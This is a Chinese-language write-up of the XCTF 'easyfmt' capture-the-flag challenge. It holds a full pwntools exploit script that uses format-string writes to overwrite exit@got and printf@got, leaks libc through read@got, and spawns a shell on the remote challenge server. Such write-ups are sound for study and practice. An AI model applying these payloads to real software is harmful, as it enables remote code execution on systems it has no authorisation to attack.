XCTF-easyfmt-WP

Posted on Dec 29, 2020

easy是easy,但是特别麻烦。

简单的四步。

checkin没什么好办法,老老实实爆破,概率0.2,'0'-'4'都有可能

修改exit的got表值为

光标所指的这一行的地址,由于延迟绑定,原got表值为exit的plt表的偏移处,所以我们修改低二字节就可以了

leak出某个函数的got表值,用libcsearcher找出机器的libc版本

覆写printf@got为system的地址,输入'/bin/sh\x00',getshell

#!/usr/bin/env python                                                                                 
# coding=utf-8                                                                                        
from pwn import *                                                                                     
from LibcSearcher import *                                                                            
context(log_level = 'debug')                                                                          
                                                                                                      
elf = ELF("./easyfmt")                                                                                
sh = remote('220.249.52.134','31322')                                                                 
sh.sendlineafter("enter:",'0')                                                                        
#payload = p64(elf.got["exit"]) + '%' + str(0x0982 - 8) + 'c' + '%8$hn'                               
payload = '%' + str(0x0982) + 'c' + '%10$hn'                                                          
payload = payload.ljust(16,'f')                                                                       
payload += p64(elf.got['exit'])                                                                       
sh.sendafter("slogan: ",payload)                                                                      
                                                                                                      
payload = 'start-%11$s-endf' #length 16                                                               
payload += p64(elf.got['read'])                                                                       
sh.sendafter("slogan: ",payload)                                                                      
sh.recvuntil('start-')                                                                                
#read_addr = int(sh.recvuntil('-end',drop = True),base = 16)                                          
read_addr = u64(sh.recvuntil('-end',drop = True).ljust(8,'\x00'))                                     
                                                                                                      
payload = ''                                                                                          
libc = LibcSearcher('read',read_addr)                                                                 
system_addr = read_addr - libc.dump('read') + libc.dump('system')                                     
print hex(system_addr)                                                                                
if(((system_addr & 0x00000000ffff0000)>>16) > (system_addr & 0x000000000000ffff)):                    
    payload  = '%' + str((system_addr & 0x000000000000ffff)) + 'c' + '%14$hn'                         
    payload += '%' + str(((system_addr & 0x00000000ffff0000)>>16) - (system_addr & 0x000000000000ffff)) 
+ 'c' + '%15$hn'                                                                                      
    payload = payload.ljust(32,'f')                                                                   
    payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 2)                                    
else:                                                                                                 
    payload  = '%' + str((system_addr & 0x00000000ffff0000)>>16) + 'c' + '%15$hn'                     
    payload += '%' + str((system_addr & 0x000000000000ffff) - ((system_addr & 0x00000000ffff0000)>>16)) 
+ 'c' + '%14$hn'                                                                                      
    payload = payload.ljust(32,'f')                                                                   
    payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 2)                                    
sh.sendafter("slogan: ",payload)                                                                      
sh.sendafter("slogan: ",'/bin/sh\x00')                                                                
sh.interactive()                                                                                        

要注意的是每一次重新printf格式化字符串的时候,都进行了一次call操作,所以rsp会每次增加8,所以参数要每次加一。

这道题目也算是复习一下格式化字符串(几天不做就不会了),对于没有开启full reload的题,其实基本上就是leak libc->覆写got->ret2libc,堆利用和格式化字符串就是这么个套路